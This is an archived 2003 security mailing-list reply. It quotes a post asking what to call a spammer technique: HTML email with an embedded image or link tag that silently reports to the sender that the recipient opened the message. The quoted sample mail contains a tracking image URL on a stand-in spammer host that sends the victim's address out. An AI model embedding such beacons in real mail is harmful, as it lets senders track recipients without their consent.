WebApp Sec mailing list archives

Re: spam technique name?

From: tetsujin () attbi com
Date: Tue, 22 Apr 2003 17:18:46 +0000

The new trick is to use HTML. By using it, they can link/encode the html 
request for graphics from a server therefor linking your email address.

Hello all

Recently I was thinking about a technique that could be used by spammers, I 
don't know a common name or something for such a technique, so if you know it 
please let me know.

PROBLEM
      How can a spammer know if the victim opened the mail?, one is the well 
known "Remove Me" link which, in fact, will confirm user read the message (and 
probably will be bombed with many more, now that he said "hey!, I'm here").  
However, it requires user interaction.

SOLUTION
      A simple "solution" can be to insert a Image, Link (for CSS for example) 
or Script tag in the HTML mail, all those elements indicate Web browsers to send 
a GET request using the SRC or HREF attribute, without user interaction. 

Sample Code (Mail sent to ficticious peter () foomail com)
<HTML>
<BODY>
      Dear Peter<br>
      Buy our brand new product, CHEAP, CHEAP, CHEAP....
      <img 
src='http://www.spamer.com/AutoRecordAddress.php?email=peter%40foomail%2Ecom&apos;><b
r>
      Click <a href='http://www.spamer.com/ConfirmVictim.php&apos;>Here</a> to be 
removed<br>
      NOTE:the presence of this link indicates this is not spamming even if 
you don't ask for this email
</BODY>
</HTML>

Viewing (or "previewing" in Outlook or similar) this email will automatically 
send a request for a "image" file served by a Server-side script, first 
recording the data without explicit authorization.

I've tested this (using 3 different tags) using Exchange and some others public 
accounts. I have succeed in all cases.

So have you seen something similar? do you think this is a kind of XSS? I do.

cheers :)
________________________________________
Juan C Calderon
IT Security

Current thread:

spam technique name? Calderon, Juan C (CORP, DDEMESIS) (Apr 22)
- Re: spam technique name? Bill Burge (Apr 22)
- RE: spam technique name? Richard M. Smith (Apr 22)
- Re: spam technique name? Jamie Pratt (Apr 22)
- <Possible follow-ups>
- Re: spam technique name? tetsujin (Apr 22)